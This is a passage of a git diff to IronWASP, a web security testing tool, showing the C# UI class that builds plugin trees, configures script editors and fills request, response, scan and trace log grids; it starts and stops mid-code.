GetShortResponseSignature(int Count) + { + if (Count < 26) + { + return "ABCDEFGHIJKLMNOPQRSTUVWXYZ"[Count].ToString(); + } + else + { + return GetShortResponseSignature(Count / 26) + GetShortResponseSignature(Count % 26); + } + } + } +} diff --git a/IronWASP/IronUI.cs b/Iron/IronUI.cs similarity index 96% rename from IronWASP/IronUI.cs rename to Iron/IronUI.cs index 66da2ed..638cc3d 100644 --- a/IronWASP/IronUI.cs +++ b/Iron/IronUI.cs @@ -1,6853 +1,7018 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections; -using System.Collections.Specialized; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; -using ICSharpCode.TextEditor; -using ICSharpCode.TextEditor.Document; - -namespace IronWASP -{ - public class IronUI - { - internal static Main UI; - internal static AboutForm AF; - internal static WaitForm WF; - internal static AskUserWindow AUW; - internal static ScanBranchWizard SBF; - internal static StartScanWizard SSW; - internal static LoadForm LF; - internal static LoadInitialConfigurationForm LICF; - internal static PluginEditor PE; - internal static ReportGenerationWizard RGW; - internal static ModUiDesigner UD; - internal static DiffWindow DW; - internal static EncodeDecodeWindow EDW; - internal static ImportForm IF; - internal static CloseForm CF; - - internal static int MainViewSelectedScanTraceId = 0; - - static DateTime TopMostTime; - - //internal static List StartScanJobWizards = new List(); - - internal static bool BlockShell = false; - - internal static void SetUI(Main M) - { - UI = M; - } - - delegate void BuildIronTree_d(); - internal static void BuildIronTree() - { - if (UI.IronTree.InvokeRequired) - { - BuildIronTree_d BIT_d = new BuildIronTree_d(BuildPluginTree); - UI.Invoke(BIT_d, new object[] { }); - } - else - { - UI.IronTree.BeginUpdate(); - TreeNode Node = UI.IronTree.Nodes.Add("Project", "Project"); - TreeNode VulnNode = new TreeNode("Vulnerabilities"); - VulnNode.Name = "Vulnerabilities"; - VulnNode.Nodes.Add("High", "High"); - VulnNode.Nodes[0].ForeColor = Color.Red; - VulnNode.Nodes.Add("Medium", "Medium"); - VulnNode.Nodes[1].ForeColor = Color.Orange; - VulnNode.Nodes.Add("Low", "Low"); - VulnNode.Nodes[2].ForeColor = Color.SteelBlue; - Node.Nodes.Add(VulnNode); - Node.Nodes.Add("TestLeads", "Test Leads"); - Node.Nodes.Add("Information", "Information"); - TreeNode ExceptionNode = new TreeNode("Exceptions"); - ExceptionNode.ForeColor = Color.OrangeRed; - ExceptionNode.Name = "Exceptions"; - Node.Nodes.Add(ExceptionNode); - Node.Nodes.Add("SiteMap", "SiteMap"); - UI.IronTree.EndUpdate(); - UI.IronTree.Nodes[0].ExpandAll(); - } - } - - delegate void BuildPluginTree_d(); - internal static void BuildPluginTree() - { - if (UI.PluginAndModuleTree.InvokeRequired) - { - BuildPluginTree_d BPT_d = new BuildPluginTree_d(BuildPluginTree); - UI.Invoke(BPT_d, new object[] { }); - } - else - { - UI.PluginAndModuleTree.BeginUpdate(); - UI.PluginAndModuleTree.Nodes.Clear(); - TreeNode RootNode = UI.PluginAndModuleTree.Nodes.Add("PluginsAndModules", "Plugins & Modules"); - TreeNode PluginsNode = RootNode.Nodes.Add("Plugins", "Plugins"); - TreeNode ModulesNode = RootNode.Nodes.Add("Modules", "Modules"); - - TreeNode Node = PluginsNode.Nodes.Add("ActivePlugins", "Active Plugins"); - Node.Checked = true; - - foreach (string Name in ActivePlugin.List()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Green; - } - - Node = PluginsNode.Nodes.Add("PassivePlugins", "Passive Plugins"); - Node.Checked = true; - foreach (string Name in PassivePlugin.List()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Green; - } - foreach (string Name in PassivePlugin.GetDeactivated()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name + " (Deactivated)"); - SubNode.Checked = true; - SubNode.ForeColor = Color.Gray; - } - - - - Node = PluginsNode.Nodes.Add("FormatPlugins", "Format Plugins"); - Node.Checked = true; - - foreach (string Name in FormatPlugin.List()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Green; - } - - Node = PluginsNode.Nodes.Add("SessionPlugins", "Session Plugins"); - Node.Checked = true; - - foreach (string Name in SessionPlugin.List()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Green; - } - - Node = ModulesNode.Nodes.Add("LoadedModules", "Loaded Modules"); - Node.Checked = true; - foreach (string Name in Module.List()) - { - TreeNode SubNode = Node.Nodes.Add(Name, Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Green; - } - - Node = ModulesNode.Nodes.Add("AllModules", "All Modules"); - Node.Checked = true; - - foreach (Module M in Module.ModuleListFromXml) - { - TreeNode SubNode = Node.Nodes.Add(M.Name, M.Name); - SubNode.Checked = true; - SubNode.ForeColor = Color.Gray; - } - - UI.PluginAndModuleTree.EndUpdate(); - UI.PluginAndModuleTree.ExpandAll(); - } - } - - internal static void InitialiseAllScriptEditors() - { - //Multi-line shell - UI.MultiLineShellInTE.ShowTabs = false; - UI.MultiLineShellInTE.ShowEOLMarkers = false; - UI.MultiLineShellInTE.ShowSpaces = false; - UI.MultiLineShellInTE.ShowInvalidLines = false; - UI.MultiLineShellInTE.TabIndent = 2; - - //ScriptedSend - UI.CustomSendTE.ShowTabs = false; - UI.CustomSendTE.ShowEOLMarkers = false; - UI.CustomSendTE.ShowSpaces = false; - UI.CustomSendTE.ShowInvalidLines = false; - UI.CustomSendTE.ShowLineNumbers = false; - UI.CustomSendTE.TabIndent = 2; - UI.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ScriptedSend \b0 \cf0 (req):"; - UI.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 res"; - UI.CustomSendTE.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(UI.CustomSendTE_KeyUp); - - //ScriptedInterception - UI.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ShouldIntercept \b0 \cf0 (sess):"; - UI.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 False"; - - //Plugin Viewer - UI.PluginEditorInTE.ShowTabs = false; - UI.PluginEditorInTE.ShowEOLMarkers = false; - UI.PluginEditorInTE.ShowSpaces = false; - UI.PluginEditorInTE.ShowInvalidLines = false; - UI.PluginEditorInTE.TabIndent = 2; - - HighlightingManager.Manager.AddSyntaxModeFileProvider(new EditorSyntaxModesProvider()); - Directory.SetCurrentDirectory(Config.RootDir); - - UI.MultiLineShellInTE.SetHighlighting("Python"); - - UI.CustomSendTE.SetHighlighting("Python"); - - UI.PluginEditorInTE.SetHighlighting("Python"); - } - - delegate void UpdateAllFormatPluginRows_d(); - internal static void UpdateAllFormatPluginRows() - { - if (UI.InvokeRequired) - { - UpdateAllFormatPluginRows_d UAFPR_d = new UpdateAllFormatPluginRows_d(UpdateAllFormatPluginRows); - UI.Invoke(UAFPR_d, new object[] { }); - } - else - { - //UI.MTRequestFormatPluginsGrid.Rows.Clear(); - //UI.ProxyRequestFormatPluginsGrid.Rows.Clear(); - //UI.ProxyResponseFormatPluginsGrid.Rows.Clear(); - UI.ConfigureScanRequestFormatPluginsGrid.Rows.Clear(); - //UI.ConfigureScanRequestFormatPluginsGrid.Rows.Add(new object[] { false, "None" }); - foreach (string Name in FormatPlugin.List()) - { - //UI.MTRequestFormatPluginsGrid.Rows.Add(new object[] { Name }); - //UI.ProxyRequestFormatPluginsGrid.Rows.Add(new object[] { Name }); - //UI.ProxyResponseFormatPluginsGrid.Rows.Add(new object[] { Name }); - UI.ConfigureScanRequestFormatPluginsGrid.Rows.Add(new object[] { false, Name }); - } - } - } - - delegate void UpdateAllActivePluginRows_d(); - internal static void UpdateAllActivePluginRows() - { - if (UI.ASScanPluginsGrid.InvokeRequired) - { - UpdateAllActivePluginRows_d UAAPR_d = new UpdateAllActivePluginRows_d(UpdateAllActivePluginRows); - UI.Invoke(UAAPR_d, new object[] { }); - } - else - { - UI.ASScanPluginsGrid.Rows.Clear(); - UI.ASScanPluginsGrid.Rows.Add(new object[] { false, "All" }); - foreach (string Name in ActivePlugin.List()) - { - UI.ASScanPluginsGrid.Rows.Add(new object[] { false, Name }); - } - } - } - - delegate void UpdateMTLogGridWithRequest_d(Request Req); - internal static void UpdateMTLogGridWithRequest(Request Req) - { - if (UI.TestLogGrid.InvokeRequired) - { - UpdateMTLogGridWithRequest_d UMTLGWR_d = new UpdateMTLogGridWithRequest_d(UpdateMTLogGridWithRequest); - UI.Invoke(UMTLGWR_d, new object[] { Req }); - } - else - { - if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) return; - try - { - int GridID = UI.TestLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.File, Req.SSL, Req.GetParametersString() }); - IronUpdater.MTGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.TestMax) IronLog.TestMax = Req.ID; - if (Req.ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = Req.ID; - } - catch(Exception Exp) - { - IronException.Report("Error Updating MT Grid with Request", Exp.Message, Exp.StackTrace); - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateMTLogGridWithResponse_d(Response Res); - internal static void UpdateMTLogGridWithResponse(Response Res) - { - if (UI.TestLogGrid.InvokeRequired) - { - UpdateMTLogGridWithResponse_d UMTLGWR_d = new UpdateMTLogGridWithResponse_d(UpdateMTLogGridWithResponse); - UI.Invoke(UMTLGWR_d, new object[] { Res }); - } - else - { - if (IronUpdater.MTGridMap.ContainsKey(Res.ID)) - { - try - { - bool MatchFound = true; - int GridID = IronUpdater.MTGridMap[Res.ID]; - if (!((int)UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.TestLogGrid.Rows) - { - if ((int)Row.Cells["MTLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForCode"].Value = Res.Code; - UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForLength"].Value = Res.BodyArray.Length; - UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForMIME"].Value = Res.ContentType; - UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - } - IronUpdater.MTGridMap.Remove(Res.ID); - } - catch (Exception Exp) - { - IronException.Report("Error updating MT Response in Grid", Exp.Message, Exp.StackTrace); - } - } - } - } - - delegate void UpdateTestGroupLogGridWithRequest_d(Session IrSe); - internal static void UpdateTestGroupLogGridWithRequest(Session IrSe) - { - if (UI.TestGroupLogGrid.InvokeRequired) - { - UpdateTestGroupLogGridWithRequest_d UTGLGWR_d = new UpdateTestGroupLogGridWithRequest_d(UpdateTestGroupLogGridWithRequest); - UI.Invoke(UTGLGWR_d, new object[] { IrSe }); - } - else - { - if (!ManualTesting.CurrentGroup.Equals(IrSe.Flags["Group"].ToString())) return; - try - { - UI.TestGroupLogGrid.Rows.Add(new object[] {false, IrSe.Request.ID, IrSe.Request.Host, IrSe.Request.Method, IrSe.Request.URL, IrSe.Request.SSL }); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Test Grid with Request", Exp.Message, Exp.StackTrace); - } - } - } - - delegate void UpdateTestGroupLogGridWithResponse_d(Session IrSe); - internal static void UpdateTestGroupLogGridWithResponse(Session IrSe) - { - if (UI.TestGroupLogGrid.InvokeRequired) - { - UpdateTestGroupLogGridWithResponse_d UTGLGWR_d = new UpdateTestGroupLogGridWithResponse_d(UpdateTestGroupLogGridWithResponse); - UI.Invoke(UTGLGWR_d, new object[] { IrSe }); - } - else - { - try - { - if (!ManualTesting.CurrentGroup.Equals(IrSe.Flags["Group"].ToString())) return; - - int GridID = 0; - foreach (DataGridViewRow Row in UI.TestGroupLogGrid.Rows) - { - if ((int)Row.Cells["TestGroupLogGridForID"].Value == IrSe.Request.ID) - { - GridID = Row.Index; - break; - } - } - UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForCode"].Value = IrSe.Response.Code; - UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForLength"].Value = IrSe.Response.BodyArray.Length; - UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForMIME"].Value = IrSe.Response.ContentType; - UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForSetCookie"].Value = (IrSe.Response.SetCookies.Count > 0); - if(IrSe.Flags.ContainsKey("Reflecton")) - UpdateManualTestingResponse(IrSe.Response, IrSe.Request, IrSe.Flags["Reflecton"].ToString()); - else - UpdateManualTestingResponse(IrSe.Response, IrSe.Request, ""); - - } - catch (Exception Exp) - { - IronException.Report("Error updating MT Response in Grid", Exp.Message, Exp.StackTrace); - } - } - } - - - delegate void UpdateTestGroupLogGrid_d(Dictionary GroupList); - internal static void UpdateTestGroupLogGrid(Dictionary GroupList) - { - if (UI.TestGroupLogGrid.InvokeRequired) - { - UpdateTestGroupLogGrid_d UTGLG_d = new UpdateTestGroupLogGrid_d(UpdateTestGroupLogGrid); - UI.Invoke(UTGLG_d, new object[] { GroupList }); - } - else - { - UI.TestGroupLogGrid.Rows.Clear(); - foreach (int ID in GroupList.Keys) - { - Session Irse = GroupList[ID]; - if (Irse.Request == null) continue; - if(Irse.Response == null) - UI.TestGroupLogGrid.Rows.Add(new object[] {false, Irse.Request.ID, Irse.Request.Host, Irse.Request.Method, Irse.Request.Url, Irse.Request.SSL}); - else - UI.TestGroupLogGrid.Rows.Add(new object[] {false, Irse.Request.ID, Irse.Request.Host, Irse.Request.Method, Irse.Request.Url, Irse.Request.SSL, Irse.Response.Code, Irse.Response.BodyLength, Irse.Response.ContentType, (Irse.Response.SetCookies.Count > 0) }); - } - } - } - - delegate void ClearTestGroupLogGrid_d(); - internal static void ClearTestGroupLogGrid() - { - if (UI.TestGroupLogGrid.InvokeRequired) - { - ClearTestGroupLogGrid_d CTGLG_d = new ClearTestGroupLogGrid_d(ClearTestGroupLogGrid); - UI.Invoke(CTGLG_d, new object[] { }); - } - else - { - UI.TestGroupLogGrid.Rows.Clear(); - } - } - - delegate void SetNewTestRequest_d(Request Req, string Group, bool SwitchToMTSection); - internal static void SetNewTestRequest(Request Req, string Group, bool SwitchToMTSection) - { - if (UI.TestGroupLogGrid.InvokeRequired) - { - SetNewTestRequest_d SNTR_d = new SetNewTestRequest_d(SetNewTestRequest); - UI.Invoke(SNTR_d, new object[] { Req, Group, SwitchToMTSection }); - } - else - { - ResetMTDisplayFields(); - //UI.TestResponseSplit.SplitterDistance = 30; - //switch (Group) - //{ - // case ("Red"): - // UI.TestIDLbl.BackColor = Color.Red; - // break; - // case ("Blue"): - // UI.TestIDLbl.BackColor = Color.RoyalBlue; - // break; - // case ("Green"): - // UI.TestIDLbl.BackColor = Color.Green; - // break; - // case ("Gray"): - // UI.TestIDLbl.BackColor = Color.Gray; - // break; - // case ("Brown"): - // UI.TestIDLbl.BackColor = Color.Brown; - // break; - //} - UI.TestGroupsLV.Items.Add(Group, Group, 0); - UI.TestGroupsLV.Items[Group].Selected = true; - UI.TestIDLbl.Text = "ID: " + Req.ID.ToString(); - UI.MTCurrentGroupNameTB.Text = Group; - FillMTFields(Req); - try - { - UI.TestGroupLogGrid.Rows.Clear(); - UI.TestGroupLogGrid.Rows.Add(new object[] { false, Req.ID, Req.Host, Req.Method, Req.URL, Req.SSL }); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Test Grid with Request", Exp.Message, Exp.StackTrace); - } - if(SwitchToMTSection) - UI.main_tab.SelectTab("mt_manual"); - //UI.MTReqResTabs.SelectTab("MTRequestTab"); - UI.MTResponseSideTabs.SelectTab("MTResponseTab"); - if (!UI.TestGroupsTitleTB.Visible) UI.TestGroupsTitleTB.Visible = true; - if (!UI.TestGroupsLV.Visible) UI.TestGroupsLV.Visible = true; - } - } - - delegate void UpdateShellLogGrid_d(List Requests, List Responses); - internal static void UpdateShellLogGrid(List Requests, List Responses) - { - if (UI.ShellLogGrid.InvokeRequired) - { - UpdateShellLogGrid_d USLG_d = new UpdateShellLogGrid_d(UpdateShellLogGrid); - UI.Invoke(USLG_d, new object[] { Requests, Responses}); - } - else - { - foreach (Request Req in Requests) - { - if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.ShellLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); - IronUpdater.ShellGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.ShellMax) IronLog.ShellMax = Req.ID; - if (Req.ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = Req.ID; - } - catch(Exception Exp) - { - IronException.Report("Error Updating Request in Shell LogGrid", Exp.Message, Exp.StackTrace); - } - } - foreach(Response Res in Responses) - { - bool MatchFound = true; - if (IronUpdater.ShellGridMap.ContainsKey(Res.ID)) - { - try - { - int GridID = IronUpdater.ShellGridMap[Res.ID]; - if (!((int)UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.ShellLogGrid.Rows) - { - if ((int)Row.Cells["ScriptingLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForCode"].Value = Res.Code; - UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForLength"].Value = Res.BodyArray.Length; - UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForMIME"].Value = Res.ContentType; - UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - } - IronUpdater.ShellGridMap.Remove(Res.ID); - } - catch(Exception Exp) - { - IronException.Report("Error Updating Response in Shell LogGrid", Exp.Message, Exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Shell LogGrid", string.Format("Request ID - {0} is missing from the Shell LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateOtherSourceLogGrid_d(List Requests, List Responses, string CurrentSource, List NewSources); - internal static void UpdateOtherSourceLogGrid(List Requests, List Responses, string CurrentSource, List NewSources) - { - if (UI.OtherLogGrid.InvokeRequired) - { - UpdateOtherSourceLogGrid_d UOSLG_d = new UpdateOtherSourceLogGrid_d(UpdateOtherSourceLogGrid); - UI.Invoke(UOSLG_d, new object[] { Requests, Responses, CurrentSource, NewSources }); - } - else - { - List SourceRowsAvailable = new List(); - int RowCount = UI.OtherLogSourceGrid.Rows.Count; - foreach (DataGridViewRow Row in UI.OtherLogSourceGrid.Rows) - { - SourceRowsAvailable.Add(Row.Cells[0].Value.ToString()); - } - foreach (string NewSource in NewSources) - { - if (!SourceRowsAvailable.Contains(NewSource)) - UI.OtherLogSourceGrid.Rows.Add(new object[]{NewSource}); - } - if (RowCount == 0 && UI.OtherLogSourceGrid.Rows.Count > 0) UI.OtherLogSourceGrid.ClearSelection(); - if (!SourceRowsAvailable.Contains(CurrentSource)) return; - foreach (Request Req in Requests) - { - if (UI.OtherLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.OtherLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); - IronUpdater.OtherSourceGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.OtherSourceMax) IronLog.OtherSourceMax = Req.ID; - if (Req.ID < IronLog.OtherSourceMin || IronLog.OtherSourceMin < 1) IronLog.OtherSourceMin = Req.ID; - } - catch (Exception Exp) - { - IronException.Report("Error Updating Request in Other Source LogGrid", Exp.Message, Exp.StackTrace); - } - } - foreach (Response Res in Responses) - { - bool MatchFound = true; - if (IronUpdater.OtherSourceGridMap.ContainsKey(Res.ID)) - { - try - { - int GridID = IronUpdater.OtherSourceGridMap[Res.ID]; - if (!((int)UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.OtherLogGrid.Rows) - { - if ((int)Row.Cells["LogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForCode"].Value = Res.Code; - UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForLength"].Value = Res.BodyArray.Length; - UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForMIME"].Value = Res.ContentType; - UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - } - IronUpdater.OtherSourceGridMap.Remove(Res.ID); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Response in Other Source LogGrid", Exp.Message, Exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Shell LogGrid", string.Format("Request ID - {0} is missing from the Shell LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateProbeLogGrid_d(List Requests, List Responses); - internal static void UpdateProbeLogGrid(List Requests, List Responses) - { - if (UI.ProbeLogGrid.InvokeRequired) - { - UpdateProbeLogGrid_d UPLG_d = new UpdateProbeLogGrid_d(UpdateProbeLogGrid); - UI.Invoke(UPLG_d, new object[] { Requests, Responses }); - } - else - { - foreach (Request Req in Requests) - { - if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.ProbeLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); - IronUpdater.ProbeGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.ProbeMax) IronLog.ProbeMax = Req.ID; - if (Req.ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = Req.ID; - } - catch (Exception Exp) - { - IronException.Report("Error Updating Request in Probe LogGrid", Exp.Message, Exp.StackTrace); - } - } - foreach (Response Res in Responses) - { - if (IronUpdater.ProbeGridMap.ContainsKey(Res.ID)) - { - bool MatchFound = true; - try - { - int GridID = IronUpdater.ProbeGridMap[Res.ID]; - if (!((int)UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.ProbeLogGrid.Rows) - { - if ((int)Row.Cells["ProbeLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForCode"].Value = Res.Code; - UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForLength"].Value = Res.BodyArray.Length; - UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForMIME"].Value = Res.ContentType; - UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - } - IronUpdater.ProbeGridMap.Remove(Res.ID); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Response in Probe LogGrid", Exp.Message, Exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Probe LogGrid", string.Format("Request ID - {0} is missing from the Probe LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateScanLogGrid_d(List Requests, List Responses); - internal static void UpdateScanLogGrid(List Requests, List Responses) - { - if (UI.ScanLogGrid.InvokeRequired) - { - UpdateScanLogGrid_d USLG_d = new UpdateScanLogGrid_d(UpdateScanLogGrid); - UI.Invoke(USLG_d, new object[] { Requests, Responses }); - } - else - { - foreach (Request Req in Requests) - { - if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.ScanLogGrid.Rows.Add(new object[] { Req.ID, Req.ScanID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); - IronUpdater.ScanGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.ScanMax) IronLog.ScanMax = Req.ID; - if (Req.ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = Req.ID; - } - catch(Exception Exp) - { - IronException.Report("Error Updating Request in Scan LogGrid", Exp.Message, Exp.StackTrace); - } - } - - foreach (Response Res in Responses) - { - if (IronUpdater.ScanGridMap.ContainsKey(Res.ID)) - { - bool MatchFound = true; - try - { - int GridID = IronUpdater.ScanGridMap[Res.ID]; - if (!((int)UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.ScanLogGrid.Rows) - { - if ((int)Row.Cells["ScanLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForCode"].Value = Res.Code; - UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForLength"].Value = Res.BodyArray.Length; - UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForMIME"].Value = Res.ContentType; - UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - } - IronUpdater.ScanGridMap.Remove(Res.ID); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Response in Scan LogGrid", Exp.Message, Exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Scan LogGrid", string.Format("Request ID - {0} is missing from the Scan LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateTraceGrid_d(List Traces); - internal static void UpdateTraceGrid(List Traces) - { - if (UI.TraceGrid.InvokeRequired) - { - UpdateTraceGrid_d UTG_d = new UpdateTraceGrid_d(UpdateTraceGrid); - UI.Invoke(UTG_d, new object[] { Traces }); - } - else - { - foreach (IronTrace Trace in Traces) - { - try - { - UI.TraceGrid.Rows.Add(new object[] { Trace.ID, Trace.Time, Trace.Date, Trace.ThreadID, Trace.Source, Trace.Message }); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Trace in TraceGrid", Exp.Message, Exp.StackTrace); - } - } - } - } - - delegate void UpdateScanTraceGrid_d(List Traces); - internal static void UpdateScanTraceGrid(List Traces) - { - if (UI.ScanTraceGrid.InvokeRequired) - { - UpdateScanTraceGrid_d USTG_d = new UpdateScanTraceGrid_d(UpdateScanTraceGrid); - UI.Invoke(USTG_d, new object[] { Traces }); - } - else - { - foreach (IronTrace Trace in Traces) - { - if (UI.ScanTraceGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - UI.ScanTraceGrid.Rows.Add(new object[] { Trace.ID, Trace.ScanID, Trace.PluginName, Trace.Section, Trace.Parameter, Trace.Title }); - if (Trace.ID > IronTrace.ScanTraceMax) IronTrace.ScanTraceMax = Trace.ID; - if (Trace.ID < IronTrace.ScanTraceMin || IronTrace.ScanTraceMin < 1) IronTrace.ScanTraceMin = Trace.ID; - } - catch (Exception Exp) - { - IronException.Report("Error Updating Trace in ScanTraceGrid", Exp.Message, Exp.StackTrace); - } - } - ShowCurrentScanTraceStat(); - IronUI.ShowScanTraceStatus("", false); - } - } - - - - delegate void SetScanTraceGrid_d(List Traces); - internal static void SetScanTraceGrid(List Traces) - { - if (UI.ScanTraceGrid.InvokeRequired) - { - SetScanTraceGrid_d SSTG_d = new SetScanTraceGrid_d(SetScanTraceGrid); - UI.Invoke(SSTG_d, new object[] { Traces }); - } - else - { - UI.ScanTraceGrid.Rows.Clear(); - IronTrace.ScanTraceMin = 0; - IronTrace.ScanTraceMax = 0; - UpdateScanTraceGrid(Traces); - } - } - - - - delegate void ShowScanTraceStatus_d(string Message, bool Error); - internal static void ShowScanTraceStatus(string Message, bool Error) - { - if (UI.ScanTraceStatusLbl.InvokeRequired) - { - ShowScanTraceStatus_d SSTS_d = new ShowScanTraceStatus_d(ShowScanTraceStatus); - 